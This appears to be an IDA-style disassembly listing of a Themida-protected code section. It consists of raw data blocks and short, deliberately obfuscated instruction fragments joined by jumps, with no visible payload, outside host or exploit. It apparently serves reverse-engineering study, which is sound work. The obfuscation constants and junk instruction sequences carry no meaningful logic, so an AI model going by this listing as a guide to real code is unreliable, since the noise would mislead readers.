		dd 4, 4247401h,	77FFE9h, 0E9562C00h, 0FFFFEC75h, 7DBF5752h
		dd 68627C1Bh, 9D83E487h, 5FFA015Ah, 34FFD301h, 24148B24h
		dd 5704C483h, 0C781E789h, 4, 8704C783h,	0E95C243Ch, 2AB3h
		dd 0B9240C89h, 4, 5159CD01h, 2B9h, 0A5C58100h, 296F964Fh
		dd 0A5ED81CDh, 8B6F964Fh, 0B2E9240Ch
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5576BF:				; CODE XREF: Themida_:0055B046j
		inc	ecx
		jmp	loc_555802
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXqsN		db 'XQé¶N',0
		dw 100h
		dd 57042444h, 0EB1F6EBFh, 24448142h, 0E22E0D08h, 247C294Ah
		dd 246C8108h, 0E22E0D08h, 48B5F4Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55BCB3
; ---------------------------------------------------------------------------
		db 0B9h, 25h, 11h
		dd 0E94901C3h, 0FFFFFD89h, 0EE80C628h, 48B6626h, 7FC4E924h
		dd 4050000h, 83000000h,	1C8904ECh, 2BB24h, 57E90000h, 0FF00005Ah
		dd 669D1C77h, 2414D359h, 0D18CE99Ch, 6664FFFFh,	0E902B60Fh
		dd 0FFFFE434h
; ---------------------------------------------------------------------------


loc_55774C:				; CODE XREF: Themida_:0055F145j
		sub	ebx, 53424D35h
		add	ebx, 2F5731C8h
		jmp	loc_55D2BF
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 2
		dd 51000000h, 722CE9h, 63E95300h, 0D100003Dh, 3CA9E9E8h
		dd 0E95D0000h, 55CBh, 1F17E6BAh, 558E924h, 14330000h, 0D5DBE924h
		dd 6C81FFFFh, 0B1C0424h, 0E95373F0h, 0FFFFD2E7h, 9185E950h
		dd 77FF0000h, 59669D1Ch, 241CD366h, 0D11CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577B2:				; CODE XREF: Themida_:0055C8E0j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_557632
; ---------------------------------------------------------------------------
aZsI		db 'Zé´‰',0
		dw 5200h
		dd 0A80AC0BAh, 5AD001E8h, 0C158C631h, 4E4E06E6h, 0F131CE31h
		dd 0D9F7CE31h, 0B951CE87h, 58C76A42h, 0E959CE01h, 4968h
		dd 51CA8158h, 811D1A06h, 663590F2h, 74C28121h, 4A2DB93Eh
		dd 58E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_557805:				; CODE XREF: Themida_:005593CAj
		not	ebx
		jmp	loc_55BE6E
; ---------------------------------------------------------------------------
		dd 0EBE9F089h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557813:				; CODE XREF: Themida_:0055F873j
		push	dword ptr [edi+24h]
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_560C1E
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 3C890000h, 4EC8324h, 2744E954h, 0E9550000h
		dd 85CBh, 0FEE9C689h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557843:				; CODE XREF: Themida_:005587DAj
		add	edx, eax
		jmp	loc_55917E
; ---------------------------------------------------------------------------
aISK		db 'Áë',7,'隊',0
		align 2
		dw 8B66h
		dd 5452240Ch, 44A8E95Ah, 8B660000h, 0BA682404h,	8900001Fh
		dd 0A5E9241Ch, 52000006h, 31A5E9h, 3CE9AC00h, 2900002Fh
		dd 0E8295AD0h, 0C3557C05h, 2434FF18h, 4C4815Dh,	52000000h
		dd 569168h, 24248900h, 3214E9h,	5BF93000h, 93D9E9h, 242C8900h
		dd 4F44D0BDh, 1B80E941h, 33580000h, 1C31241Ch, 3323E924h
		dd 0E9810000h, 51B85AEBh, 0C181C129h, 51B85AEBh, 3251E9h
		dd 241C3000h, 30241C32h, 0EE68241Ch, 8900005Fh,	88502414h
		dd 994E9D8h, 0EB810000h, 59C02523h, 119DE9h, 815B5E00h
		dd 4ECh, 24348900h, 4E7CE9h, 24248B00h,	9C240409h, 0FFF3F4E9h
		dd 55C601FFh, 794E75BDh, 5DEE011Dh, 7B77C681h, 48B3971h
		dd 4C48124h, 0E9000000h, 30F6h,	0B4C27B9h, 0E9CD8963h
		dd 50C5h, 5007C2BDh, 5A3EE942h,	31660000h, 665E66F1h, 6608E9C1h
		dd 337EE981h, 7251E9h
		db 0
; ---------------------------------------------------------------------------


loc_557959:				; CODE XREF: Themida_:00560255j
		shr	edi, 6
		shr	edi, 8
		jmp	loc_55EB9F
; ---------------------------------------------------------------------------


loc_557964:				; CODE XREF: Themida_:00555C70j
		add	eax, 4
		jmp	loc_554DEA
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 48902DC8h, 87593342h, 248B2404h, 82D0E924h, 8B660000h
		dd 31682404h, 8900003Ah, 5A542414h, 284DE9h
		db 0
; ---------------------------------------------------------------------------


loc_557995:				; CODE XREF: Themida_:0055B370j
		sub	esi, 75347C7Bh
		mov	eax, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_559D7F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4896624h, 8BFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5579BA:				; CODE XREF: Themida_:0055E52Fj
		pop	esp
		push	esi
		jmp	loc_55B9D0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0EC815124h, 4, 81242489h, 42404h, 56590000h,	0FFD2E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5579DD:				; CODE XREF: Themida_:0055D532j
		push	ebx
		jmp	loc_55F858
; ---------------------------------------------------------------------------


loc_5579E3:				; CODE XREF: Themida_:0055908Aj
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 74CA4A36h
		shl	edi, 7
		jmp	loc_55C2C4
; ---------------------------------------------------------------------------


loc_5579FA:				; CODE XREF: Themida_:0055C77Cj
		mov	ebx, 52144124h
		neg	ebx
		and	ebx, 75A85647h
		jmp	loc_557FA6
; ---------------------------------------------------------------------------
		dd 1888EB88h, 4C37E9h, 0E965B400h, 0FFFFFB34h
; ---------------------------------------------------------------------------


loc_557A1C:				; CODE XREF: Themida_:00559DDFj
		sub	esp, 4
		mov	[esp], ebp
		push	54B34B28h
		pop	ebp
		push	ebx
		mov	ebx, 5CD36D84h
		and	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 2C25B80h
		sub	ebp, eax
		pop	eax
		sub	ebp, 7BD038BFh
		sub	ebp, 0D600B4C1h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 54C50D30h
		jmp	loc_555D56
; ---------------------------------------------------------------------------
		db 0F7h
		dd 65F035D8h, 0CD2D0CF3h, 127CA31h, 0EF8158C7h,	329A401Dh
		dd 4EF835Eh, 5B45E9h, 8A685C00h, 89000029h, 99B82404h
		dd 8117637Dh, 0B23A80EBh, 160BE93Eh, 815F0000h,	4C7h, 53D4E900h
		dd 0C4810000h, 4, 0FFF638E9h, 7E9C0FFh,	28DBE980h, 586659CBh
		dd 0FFC0B60Fh, 34FF8734h, 2434FF24h, 88EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_557AC9:				; CODE XREF: Themida_:0055A69Ej
		xor	edx, 791A203Bh
		jmp	loc_559961
; ---------------------------------------------------------------------------
		dd 405h, 3E95600h, 28000073h, 2434FFD8h, 4C4815Bh, 68000000h
		dd 406Dh, 53240C89h, 515060B7h,	0CC88F988h, 0FFDAD2E9h
		dd 24248BFFh, 15A3E9h, 8151AD00h, 4ECh,	243C8900h, 73135268h
		dd 0EBBCE94Bh, 2C87FFFFh, 0D78BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B26:				; CODE XREF: Themida_:0055FE95j
		xor	edi, ebp
		pop	ebp
		jmp	loc_55D95E
; ---------------------------------------------------------------------------


loc_557B2E:				; CODE XREF: Themida_:00555D11j
		mov	ebp, 3A3E0D64h
		add	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	ebp
		sub	ebp, 3A3E0D64h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55815A
; ---------------------------------------------------------------------------
		dw 45Ah
		dd 51F8003Ah, 38E921B1h, 8B00007Ah, 4D32424h, 67E99C24h
		dd 81FFFFCDh, 1528242Ch, 40141DCh, 3856824h, 0B1E90000h
		dd 88000006h, 0D8285AD3h, 0B5515B66h, 5BE951E4h, 5F000057h
		dd 8032E9h, 0FFE95A00h,	1FFFFFEh, 242C8BEEh, 4C481h, 34330000h
		dd 24343124h, 2836E9h, 0CD1CE900h, 0BA52FFFFh, 2B99741Dh
		dd 0FFF098E9h, 4EAC1FFh, 1E95357h, 66000044h, 57240C8Bh
		dd 8904EC83h, 55E92424h, 66FFFFF4h, 51240C8Bh, 0BD555954h
		dd 10817E3Ah, 0B99E9h, 14896600h, 20D5B624h, 0D9FFE9F7h
		dd 0DB6FFFFh, 0C05AF088h, 4F0C02E0h, 0E8D0900Ch, 3403E8C0h
		dd 4EC8348h, 0B2241489h, 0BBE95300h, 0B8FFFFF4h, 12875606h
		dd 2958C629h, 6C681EEh,	5D128756h, 8B8E9h, 0BA525B00h
		dd 4, 815AD301h, 4EBh, 241C3300h, 53AFE9h, 243C8700h, 4C7815Ch
		dd 57000000h, 42474FFh,	24048F5Fh, 51C3305Ch, 0EC83C188h
		dd 24048904h, 0E904EC83h, 8984h
; ---------------------------------------------------------------------------


loc_557C6C:				; CODE XREF: Themida_:00558631j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55C92B
; ---------------------------------------------------------------------------
		dd 366C581h, 0EB0110ACh, 4EB815Dh, 87000000h, 6AE9241Ch
		dd 0BEFFFFFEh, 4, 107DC181h, 27E97B8Bh,	66000062h, 0E92414F7h
		dd 7BE7h, 0E8B55166h, 0D517E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557CBA:				; CODE XREF: Themida_:0055F4F0j
		dec	dword ptr [esp]
		pop	edi
		jmp	loc_55FE8F
; ---------------------------------------------------------------------------
		db 29h
		dd 5D4EE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557CCA:				; CODE XREF: Themida_:00558084j
		pop	edx
		jmp	loc_5601B7
; ---------------------------------------------------------------------------


loc_557CD0:				; CODE XREF: Themida_:0055DF53j
		push	edi
		pop	eax
		pop	edi
		and	eax, 3F2D4213h
		push	esi
		jmp	loc_557EA8
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4A3B2E60h, 4A07EAC1h, 1955C281h, 0C2811D2Ah,	31BB596Eh
		dd 24348152h, 6BB865C7h, 0C7F6815Eh, 0E96BB865h, 48Dh
		dd 43FC68h, 4210E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D12:				; CODE XREF: Themida_:0055BACBj
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_55FF4A
; ---------------------------------------------------------------------------
		dw 0FC68h
		dd 89000038h, 0E5682434h, 89000043h, 9EBA2414h,	51224F52h
		dd 3BD06857h, 14890000h, 0FDBF5724h, 0E9624323h, 824Fh
		dd 0F0E9C801h, 2D00002Eh, 2FA86B41h, 89DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_557D65:				; CODE XREF: Themida_:0055571Bj
		mov	ebp, 12207BAFh
		neg	ebp
		xor	ebp, 0EDDF8455h
		mov	esi, ebp
		jmp	loc_555C00
; ---------------------------------------------------------------------------
		db 89h,	0D6h, 5Ah
		dd 55EF301h, 73E3308Ch,	0F2E9D801h, 53000053h, 20610968h
		dd 0DBF75B70h, 610DC381h, 0EBE97020h, 81000028h, 4C1h
		dd 4C18100h, 87000000h,	875C240Ch, 555C2434h, 8904EC83h
		dd 0BB53240Ch, 53EE1053h, 37EB8143h, 89F0880Ch,	241C8BD9h
		dd 0E9E28952h, 7A1h, 695CC581h,	2BE95800h, 0C1000006h
		dd 0E68107E6h, 77840735h, 22E9DEF7h, 8B000071h,	30FF2424h
		dd 0FFCAD5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557DF9:				; CODE XREF: Themida_:00554961j
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 181F08A1h
		add	ebp, 287B7440h
		and	ebp, 3D7E56AAh
		push	edi
		mov	edi, 0FFE5AB64h
		add	ebp, edi
		pop	edi
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55C05D
; ---------------------------------------------------------------------------
		db 0E9h, 9Ch, 0CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E32:				; CODE XREF: Themida_:0055646Dj
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, 5A2A4487h
		inc	eax
		not	eax
		xor	eax, 0AC536C1h
		add	eax, 50EF724Eh
		jmp	loc_55C181
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E49AE924h, 5452FFFFh, 0E1BF575Ah, 4F7AFE39h, 32A0CF81h
		dd 32E97C88h, 57000079h, 56235BFh, 0A8F78113h, 4F021D22h
		dd 0F1D0E94Fh, 0C828FFFFh, 0EE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_557E89:				; CODE XREF: Themida_:0055E0A0j
		pop	ebx
		shl	ch, 4
		or	ch, 98h
		push	eax
		mov	ah, 0B2h
		sub	ch, ah
		pop	eax
		add	ch, 0A7h
		push	ebx
		mov	bl, 0E0h
		jmp	loc_556FE5
; ---------------------------------------------------------------------------
		db 0B3h, 91h, 0E9h
		dd 12CCh
; ---------------------------------------------------------------------------


loc_557EA8:				; CODE XREF: Themida_:00557CD9j
		mov	esi, 375E2363h
		jmp	loc_55DDFC
; ---------------------------------------------------------------------------
		dw 0D000h
		dd 0F8005A66h, 34FFCF2Ch, 2A56E924h, 525A0000h,	3CE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_557EC9:				; CODE XREF: Themida_:0055BC77j
		sub	ebp, eax
		pop	eax
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		jmp	loc_5609D0
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 801AE924h, 15B0000h,	0D12DE9F8h, 0FB89FFFFh,	0E9243C8Bh
		dd 0FFFFD36Ch, 504E8FBAh, 0F2814265h, 3D221BB8h, 8A20E9h
		db 0
; ---------------------------------------------------------------------------


loc_557F01:				; CODE XREF: Themida_:0055CAE1j
		push	ebx
		jmp	loc_55D552
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E05AE9D7h, 0E951FFFFh, 7CEEh, 4EC81h, 24890000h, 4BA5224h
		dd 81000000h, 6042444h,	17C605Ah, 81042454h, 604246Ch
		dd 5A7C605Ah, 0E9241C8Bh, 6EEBh, 0E290E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557F46:				; CODE XREF: Themida_:00554FF8j
		mov	ecx, edx
		pop	edx
		jmp	loc_55BD57
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 5C243C87h, 8B1C6F09h, 68E9242Ch, 2D00007Ah, 912E7B5Ah
		dd 0E958C629h, 0ED9h, 89243489h, 4C681E6h, 50000000h, 0E15792B8h
		dd 0ED70D22h, 0BB533BBFh, 7C771F80h, 0E903E3C1h, 1010h
		dd 0BB53D001h, 12D253D2h, 0E3C1D3F7h, 1BE3E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557FA6:				; CODE XREF: Themida_:00557A07j
		sub	ebx, 82C169CAh
		sub	edi, ebx
		pop	ebx
		jmp	loc_55D4C9
; ---------------------------------------------------------------------------
		dd 0FEA6F380h, 0E8EB80CBh, 0FFCB86E9h, 0B5B951FFh, 0E93E055Bh
		dd 63B4h
; ---------------------------------------------------------------------------


loc_557FCC:				; CODE XREF: Themida_:00559D8Cj
		mov	[esp], edi
		push	ebx
		pop	edi
		push	edx
		push	20BDh
		jmp	loc_55CFA0
; ---------------------------------------------------------------------------
		dd offset dword_432184+6E4h
		dd 24148900h, 5BE9E289h, 0FFFFFFCFh, 669D1C77h,	241CD259h
		dd 0C8D4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557FFA:				; CODE XREF: Themida_:00554E0Fj
		pop	ecx
		push	7F9Ch
		mov	[esp], edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		jmp	loc_55E98A
; ---------------------------------------------------------------------------
		dd 74FF5758h, 3C8B0424h, 4C48324h, 1841E9h, 241C8700h
		dd 6CBBE9h, 58E58800h, 5266C5FEh, 0D528E8B2h, 36AE9h, 2C18300h
		dd 0E9240C87h, 2113h, 0FFC885E9h, 8FE95AFFh, 5D00001Bh
		dd 59DDE9h, 23C38000h, 0EB80CB28h, 0CB005923h, 66E2C380h
		dd 0B6526659h, 66F328E1h, 72C3805Ah, 0EB80C328h, 4A95E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55807A:				; CODE XREF: Themida_:0055737Cj
		pop	ebx
		push	eax
		push	edx
		mov	edx, 0
		mov	eax, edx
		jmp	loc_557CCA
; ---------------------------------------------------------------------------
		db 0BFh, 11h, 7Bh
		dd 0E7C140D2h, 22F78105h, 811A4F62h, 0F020ECEBh, 0E3C38101h
		dd 126DB1Ah, 0E3EB81FBh, 5026DB1Ah, 0FFD875E9h,	2434FFFFh
		dd 5724048Bh, 0B951E789h, 4, 8159CF01h,	4C7h, 243C8700h
		dd 0FFE76EE9h, 0C8B66FFh, 5A1A6824h, 2C890000h,	34FF5424h
		dd 242C8B24h, 4C481h, 0C4810000h, 4, 4BF57h, 69E90000h
		dd 55000048h, 711EE9h, 240C3300h, 33240C31h, 895C240Ch
		dd 9C502414h, 0FFC7B9E9h, 0E4F180FFh, 0FFEEB1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55811D:				; CODE XREF: Themida_:005556E7j
		add	esi, edx
		pop	edx
		push	edx
		push	ecx
		mov	ecx, 5C9F069Ch
		or	ecx, 32D175C9h
		inc	ecx
		jmp	loc_55F959
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C89h, 159Fh, 0EF81F729h, 582D2443h, 5FF8295Eh
		dd 729DE9h, 2C58300h, 2474FF55h, 0D0AFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55815A:				; CODE XREF: Themida_:00557B49j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_555F6E
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 0FFFFEAC1h
; ---------------------------------------------------------------------------


loc_558170:				; CODE XREF: Themida_:005584A2j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55A88B
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 11C861B8h, 8105EDC1h, 19C912EDh, 5DEF29B1h, 0FFCA0DE9h
		dd 0E6C15AFFh, 14F75602h, 0CE815E24h, 4F4B5385h, 30D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5581A9:				; CODE XREF: Themida_:005593F2j
		push	edi
		mov	edi, 4
		jmp	loc_5565CB
; ---------------------------------------------------------------------------
		dd 8104C483h, 0C3BDF2E9h, 7BC2E92Ch, 6EB80000h,	0E9DBFFFFh
		dd 0FFFFCD80h, 5D5EE950h, 34330000h, 784BE924h,	0B4500000h
		dd 58E688BDh, 0FE03EEC0h, 0C0CEFEC6h, 0E6D008EEh, 0E96FC680h
		dd 0CABh, 565DEE89h, 1AE7E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5581FE:				; CODE XREF: Themida_:0055FD52j
		shl	edx, 1
		push	eax
		push	esi
		mov	esi, 0E4C165Fh
		neg	esi
		neg	esi
		and	esi, 72592290h
		dec	esi
		shr	esi, 2
		sub	esi, 920082h
		mov	eax, esi
		pop	esi
		push	edx
		mov	edx, 24h
		add	edx, edi
		push	ecx
		jmp	loc_55F6BD
; ---------------------------------------------------------------------------
		dd 51241489h, 0FFE979E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558235:				; CODE XREF: Themida_:00555A74j
		sub	[esp+8], edx
		pop	edx
		jmp	loc_559084
; ---------------------------------------------------------------------------
		db 83h
		dd 0B76804C4h, 8900001Eh, 4B9240Ch, 81000000h, 706246EFh
		dd 81CF014Ch, 706246C7h, 3C87594Ch, 24248B24h, 68C8B70Fh
		dd 408h, 0E9243C89h, 26BEh, 0FFC655E9h,	0C650E9FFh, 0C288FFFFh
		dd 60E3E9h, 4EC8300h, 83242489h, 0E9042404h, 6900h
; ---------------------------------------------------------------------------


loc_558294:				; CODE XREF: Themida_:0055E91Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	7816h
		mov	[esp], edi
		mov	edi, 510B65C0h
		sub	edi, 0FFFFFFFFh
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 14AE3E3Ah
		shl	edi, 8
		xor	edi, 0D0016B4h
		dec	edi
		sub	edi, 596824ABh
		jmp	loc_55B396
; ---------------------------------------------------------------------------


loc_5582D9:				; CODE XREF: Themida_:0055D959j
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		mov	[edi+eax*4], bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5548CE
; ---------------------------------------------------------------------------


loc_5582EF:				; CODE XREF: Themida_:00556822j
		pop	esp
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_560547
; ---------------------------------------------------------------------------


loc_55830A:				; CODE XREF: Themida_:005558EBj
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_558A25
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5C2F4BFFh
		mov	ebx, 0A3D0B41Dh
		jmp	loc_55C31D
; ---------------------------------------------------------------------------
		dd 2BA525Dh, 81000000h,	0CC386EE9h, 0E9D1010Bh,	0FFFFDD07h
; ---------------------------------------------------------------------------


loc_558348:				; CODE XREF: Themida_:0055BF83j
		xchg	dl, bl
		jmp	loc_556EAE
; ---------------------------------------------------------------------------


loc_55834F:				; CODE XREF: Themida_:00560C28j
		pop	dword ptr [esp]
		push	480Dh
		mov	[esp], ebp
		inc	dword ptr [esp]
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		pop	dword ptr [edi+24h]


loc_55838A:				; CODE XREF: Themida_:0055F0F0j
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5593B9
; ---------------------------------------------------------------------------


loc_558396:				; CODE XREF: Themida_:0055A82Dj
		sub	edi, 2BDCFA9h
		mov	ebp, edi
		jmp	loc_55D8CD
; ---------------------------------------------------------------------------
		db 66h
		dd 8124148Bh, 2C4h, 8F58000h, 8033C580h, 0D5F601EDh, 8904EC83h
		dd 32B7241Ch, 2892F780h, 0B7535BFDh, 0E95166ECh, 2898h
		dd 24048B66h, 348B5456h, 4C48124h, 0E9000000h, 2AEFh, 0E9C1015Bh
		dd 0FFFFD406h, 1A80E953h, 89530000h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 0CEB7E95Ch,	0C145FFFFh, 0F58108E5h
		dd 138722DBh, 815DEB29h, 308C52EBh, 5BD83167h, 8904EC83h
		dd 8CE9240Ch, 5900006Ch, 0DCE9DAF7h, 83000069h,	248904ECh
		dd 4BA5224h, 1000000h, 0E9042454h, 10DAh
; ---------------------------------------------------------------------------


loc_558448:				; CODE XREF: Themida_:00555D51j
		mov	ebp, [esp]
		add	esp, 4
		sub	[edi+24h], edx
		pop	edx
		jmp	loc_55C5BC
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFE91Dh, 7AE4B951h, 81E967A5h, 89000001h,	842D5FF9h
		dd 16AC365h, 658405C8h,	30E96AC3h, 6800000Bh, 737Dh, 0E9240489h
		dd 0FFFFC442h, 805AD388h, 57E9DBEBh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558497:				; CODE XREF: Themida_:0055E0FDj
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_558170
; ---------------------------------------------------------------------------
		db 68h
		dd 17B7h, 0B3241C89h, 0D6CB8054h, 5250D3F6h, 0FFF739E9h
		dd 1DE92DFFh, 348B5660h, 4C48324h, 57F68h, 24048900h, 42474FFh
		dd 8B2434FFh, 0C4812404h, 4, 6CFE9h, 0BA525600h, 3A5176D1h
		dd 5F21E9h, 18B95100h, 815E2464h, 0DB9BECC1h, 0DABD55A1h
		dd 0E9282B22h, 0FFFFD8D8h, 54241489h, 4EC835Ah,	0BE243489h
		dd 13F55B43h, 8102EEC1h, 644F96E6h, 0BFE95602h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558527:				; CODE XREF: Themida_:0055B623j
		dec	ebx
		push	esi
		mov	esi, 7A11701Bh
		neg	esi
		not	esi
		or	esi, 17916402h
		xor	esi, 0E532AB2h
		and	esi, 81B4CBBh
		add	esi, 6EABF326h
		and	ebx, esi
		pop	esi
		jmp	loc_55F94E
; ---------------------------------------------------------------------------
		dw 0D929h
		dd 80C1815Bh, 89F54928h, 0EEC159CEh, 814E4E05h,	0B9C887F6h
		dd 1C7721FEh, 5E2434FFh, 387CE9h, 4C28100h, 83000000h
		dd 148704C2h, 3018E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558586:				; CODE XREF: Themida_:00558D1Ej
		sub	esi, ecx
		pop	ecx
		pop	eax
		jmp	loc_560BD6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 3D05h, 73F23548h, 260509C7h, 8938E5BAh
		dd 3146E9C6h, 0E1890000h, 4C181h, 0C1810000h, 4, 6ACCE9h
		dd 240C3100h, 0AA1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5585C5:				; CODE XREF: Themida_:0055DE39j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	eax
		push	5C336FBh
		pop	eax
		push	ecx
		push	5687670Ch
		pop	ecx
		add	ecx, 49335931h
		or	ecx, 1E0A38B8h
		jmp	loc_559F03
; ---------------------------------------------------------------------------
		dd 2D59CD31h, 6C67693Ch, 0FFE4D7E9h, 7E2C1FFh, 0FFDBA9E9h
		dd 240C89FFh, 2495E9h, 88505200h, 58C288C8h, 0D188D2F6h
		dd 0CFF1805Ah, 34FFF100h, 0F19BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558622:				; CODE XREF: Themida_:0055CC91j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_557C6C
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 83242C8Bh, 0BE904C4h, 0FFFFF9h, 0CE2C5BD8h, 83241C8Bh
		dd 0EB8004C4h, 66C3282Eh, 66675268h, 68240489h,	38F1h
		dd 0B7241C89h, 80DFF625h, 0F78009EFh, 13C780C9h, 34FFFC88h
		dd 77BFE924h, 4BF0000h,	1000000h, 243C8BFAh, 4095E9h, 2EE9AC00h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55868F:				; CODE XREF: Themida_:00555F00j
		push	ebx
		jmp	loc_5556C5
; ---------------------------------------------------------------------------
aBaMs8s5	db 'íÐmá8é5`',0
		align 10h


loc_5586A0:				; CODE XREF: Themida_:00555051j
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		dec	edx
		inc	edx
		jmp	loc_55D23F
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0CC7E924h, 0ED810000h, 9FBC5C03h, 8BE9E889h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5586C7:				; CODE XREF: Themida_:0055E234j
		shr	esi, 6
		push	ecx
		mov	ecx, 140872D7h
		jmp	loc_55F644
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 90E92424h, 81000021h, 4C5h, 0B8505300h, 6B271AEFh
		dd 3198E9h, 26C18100h, 81D037DBh, 375379C2h, 81CA0129h
		dd 375379EAh, 2ECCE929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55870E:				; CODE XREF: Themida_:00560A19j
		and	eax, ecx
		pop	ecx
		jmp	loc_55F86F
; ---------------------------------------------------------------------------
		dw 0AABAh
		dd 0E94A9C43h, 0FFFFF659h
; ---------------------------------------------------------------------------


loc_558720:				; CODE XREF: Themida_:0055561Ej
		pop	esp
		push	ebx
		push	edx
		pop	ebx
		mov	esi, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, esi
		jmp	loc_5575EE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0FEBD242Ch, 21000000h, 2C8B1C6Fh,	4EC8124h
		dd 89000000h, 0E389241Ch, 4BA52h, 0BFE90000h, 0FFFFFFD1h
		dd 0C168E932h, 0E951FFFFh, 2E58h, 0C581E589h, 4, 4224E953h
		dd 0EC830000h, 0E07BE904h, 0D5F7FFFFh, 133EED81h, 0C14D37EDh
		dd 0EDC103EDh, 57ED8107h, 1002DE4h, 0E9835DE9h,	240C8704h
		dd 3D92E95Ch, 74FF0000h, 0E95D0424h, 0FFFFD69Bh, 5F59CE01h
